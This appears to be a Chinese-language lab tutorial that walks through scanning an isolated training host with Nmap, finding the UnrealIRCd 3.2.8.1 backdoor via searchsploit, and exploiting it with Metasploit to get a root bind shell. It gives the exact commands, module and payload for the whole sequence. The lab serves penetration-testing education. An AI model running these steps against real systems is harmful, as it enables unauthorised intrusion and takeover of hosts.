介绍
网络扫描是一项极具实践性的学科。通过网络扫描,用户可以发现目标主机上分配给各种服务的端口、开放的服务、服务软件及其版本等信息。
在本实验中,你将学习如何扫描目标主机的网络服务安全漏洞。
使用 Nmap 扫描目标主机的开放端口
网络扫描的基本工作流程如下:
- 发现目标主机
- 端口扫描
- 指纹信息扫描
- 漏洞扫描
- 执行渗透攻击
Nmap (Network Mapper) 是一款功能强大的网络扫描工具。它支持多种扫描技术,例如 UDP、TCP connect()、TCP SYN(半开放扫描)、FTP 代理(反弹攻击)、反向标志、ICMP、FIN、ACK 扫描、SYN 扫描和空扫描。
在此步骤中,你将使用 Nmap 扫描目标主机上的开放端口。实验环境已经启动了位于 192.168.122.102 的易受攻击训练服务,因此你的扫描应该能发现存活主机,而不是报告目标已关闭。
- 打开终端并进入 Kali 容器:
docker run -ti --network host b5b709a49cd5 bash
- 使用
nmap命令扫描目标主机 192.168.122.102:
nmap -p 6667 -T4 -A -v 192.168.122.102 > /tmp/report.txt
该命令扫描目标主机上的 6667 端口,使用更快的时序策略,启用版本检测,并将输出保存到 /tmp/report.txt。
分析扫描结果
扫描目标主机后,你需要分析扫描结果以识别潜在漏洞。
- 查看扫描报告:
cat /tmp/report.txt
该命令会显示 /tmp/report.txt 文件的内容,其中包含目标主机上开放端口、服务和版本的信息。成功的扫描应该显示主机处于活动状态且 6667 端口已开放,类似于以下示例:
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Discovered open port 6667/tcp on 192.168.122.102
Nmap scan report for 192.168.122.102
Host is up.
PORT STATE SERVICE VERSION
6667/tcp open irc UnrealIRCd 3.2.8.1
Service Info: Host: labex-target
- 使用
searchsploit工具搜索漏洞信息:
searchsploit unreal ircd
该命令会在 Exploit Database 中搜索与「unreal ircd」服务相关的漏洞,以下是你可能会看到的输出示例:
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
- 查看漏洞详情:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb
该命令会显示位于 /usr/share/exploitdb/exploits/linux/remote/16922.rb 的漏洞利用文件内容。
利用漏洞
在分析扫描结果并识别出潜在漏洞后,你可以尝试利用漏洞进行渗透攻击。
从扫描结果中确定一个可利用的漏洞。例如,假设扫描发现开放的 6667 端口运行着一个易受攻击的服务。
启动 Metasploit Framework:
cd ~
msfconsole
- 在 Metasploit 控制台中,选择相应的漏洞利用模块:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- 设置目标主机 IP 地址:
set RHOST 192.168.122.102
- 设置 Payload:
set PAYLOAD cmd/unix/bind_perl
- 发起攻击:
exploit
如果利用成功,你将获得对目标主机的访问权限。
- 尝试利用漏洞后,你应该验证利用是否成功。在 Metasploit 会话中,检查当前用户和主机名:
whoami
hostname
如果输出显示你以 root 用户身份登录,则说明利用成功。在本实验中,易受攻击的服务运行在训练虚拟机内部的一个隔离网络命名空间中,因此 hostname 的输出将显示当前的 LabEx 虚拟机主机名,而不是单独的客户机名称。
按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查
总结
在本实验中,你学习了网络扫描的基本工作流程,包括发现目标主机、端口扫描、指纹信息扫描、漏洞扫描以及执行渗透攻击。你使用了功能强大的 Nmap 工具扫描了目标主机上的开放端口,并分析了扫描结果以识别潜在漏洞。此外,你还学习了如何使用 searchsploit 工具搜索漏洞信息,以及如何使用 Metasploit Framework 利用漏洞。最后,你通过检查目标主机上的当前用户和主机名验证了利用的成功。
通过本次实践实验,你获得了扫描网络服务安全漏洞和执行渗透攻击的实战经验。这些知识对于确保网络系统安全和识别潜在风险至关重要。



